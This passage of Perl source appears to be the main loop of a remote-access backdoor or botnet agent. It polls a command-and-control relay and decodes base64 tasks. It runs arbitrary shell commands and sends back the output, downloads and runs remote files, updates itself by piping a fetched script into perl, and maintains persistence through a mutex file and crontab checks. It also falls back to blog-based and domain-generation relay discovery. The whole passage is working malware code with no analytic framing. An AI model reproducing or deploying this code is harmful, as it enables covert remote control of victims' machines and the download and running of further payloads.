        print "nok - failed to read fileabsname\n";
        exit (4);
    }

    $abscontent =~ s/00000000000000000000000000000000/$myid/;

    if (open ($OUTF, ">", $fileabsname)){
        
        binmode $OUTF;
        print $OUTF $abscontent;
        close $OUTF;	
        chmod 0755, $fileabsname;
        print "fileabsname file written\n";
 
    }else{
        print "nok - check file perm\n";
        exit (4);
    }    

}

goto __INIT;

#####################################################
##          MAIN Function                          ##
#####################################################
sub MAIN
{
    my $KnockString;
    #print "\n".string_dec("TUZGR1FGRFE=","#");
    # 3) Rooting Knock Knock in DEFAULT_SLEEP_TIME
    #needregr|newtask|notasks|newreconfig
    if (check_relay())
    {
        $KnockString = Knock_Knock();
        if (defined $KnockString)
        {    
            if ($KnockString =~ m/needregr/ig)
            {
                local $res;
                $res = register();#regSuc
                Update_Config_File();
                return;

            } elsif($KnockString =~ m/newtask/ig)
            {
                ($job,$id,$commandType,$commandParams) = split /:/, $KnockString;
                $pcommandType   = decode_base64($commandType);
                $pcommandParams = decode_base64(decode_base64($commandParams));
                print "\n-------CommandType:-" . $pcommandType ."-- CommandParams:-" . $pcommandParams."--------\n";
                if ($pcommandType eq "11"){ #Command Execution
                    
                    local $output;
                    $output = "NULL";
                    $output = `$pcommandParams`;
                    SendBackResult(2,$id,encode_base64($output));
                    SendBackState(1,$id);

                }elsif($pcommandType eq "1"){ #Download Execute
                    
                    ($remote_host, $remote_port, $remote_path, $local_path) = split /,/,$pcommandParams;
                    local $output = "NULL";
                    $output = DownLoadExec($remote_host ,$remote_port , $remote_path, $local_path); 
                    SendBackResult(1,$id,encode_base64($output));

                }elsif($pcommandType eq "3"){ #Download Execute W Params
                    
                    ($remote_host, $remote_port, $remote_path, $local_path, $params) = split /,/,$pcommandParams;
                    local $output = "NULL";
                    $output = DownLoadExecPar($remote_host, $remote_port, $remote_path, $local_path, $params);
                    SendBackResult(1,$id,encode_base64($output));

                }elsif($pcommandType eq "10"){ #Uninstall
                    
                    ($par1, $par2, $par3) = split /,/,$pcommandParams;
                    local $MyABS = $current_binary_path."/".$current_basename;
                    #delete Persistence
                    local $output = "NULL";
                    $output1  = system("rm", $conf_file);
                    $output2  = system("rm", $MyABS);
                    $output3  = system("rm", $mtxtmpfile);
                    $output = "rmcnf:" .$output1."rmbin".$output2."rmmut:".$output3;
                    SendBackResult(1,$id,encode_base64($output));
                    exit(0);
                    
                }elsif($pcommandType eq "6"){ #killcycle
                    SendBackState(1,$id);
                    exit(0);
                }elsif($pcommandType eq "9"){ #Update Me
                    
                    ($remote_host, $remote_port, $remote_path, $local_path, $params) = split /,/,$pcommandParams;
                    local $output = "NULL";
                    $FileabsName = Updateme($remote_host, $remote_port, $remote_path);
                        #response to server  td taskid, op = 1 means done, 
                    SendBackResult(1,$id,encode_base64($output));
                    if (open OUTF, ">$mtxutmpfile"){
                        print OUTF $$;
                        close OUTF;
                        print "\ncreating $mtxutmpfile and then call file $FileabsName \n";
                    }
                    system("cat $FileabsName | perl");
                    print "\ncall return and exit";
                    exit(0);
                }
            }elsif($KnockString =~ m/notasks/ig)
            {
                #No Action Needed thus do nothing
                #print $KnockString;    
                sleep $DEFAULT_SLEEP_TIME;
            }
            elsif($KnockString =~ m/newreconfig/ig)
            {
                my ($nrc, $confhash, $sleep);
                ($nrc, $confhash, $sleep) = split /:/, $KnockString;
                $ConfigHash = trim($confhash);
                chomp ($sleep);
                $DEFAULT_SLEEP_TIME = trim($sleep);
                Update_Config_File();
            }
        }
    }else{
        if (setdefrelay()){
         return;
        }elsif (getrelfromblog()){
            # print "call getrelfromblog was success\n";
        return;
        }elsif(getrelfromblog1()){
            print "call getrelfromblog1 was success\n";
            return;
        }elsif(DG()){
            print "call DG was success\n";
            return;
        }else{
            srel();
            print "call srel was success\n";
            return;
        }
    }
}

__INIT:				

while(1){			    # infination
    MAIN();
    if (! -f $mtxtmpfile){
        mtx();
    }
    crntabvalidator();
    sleep 5;
}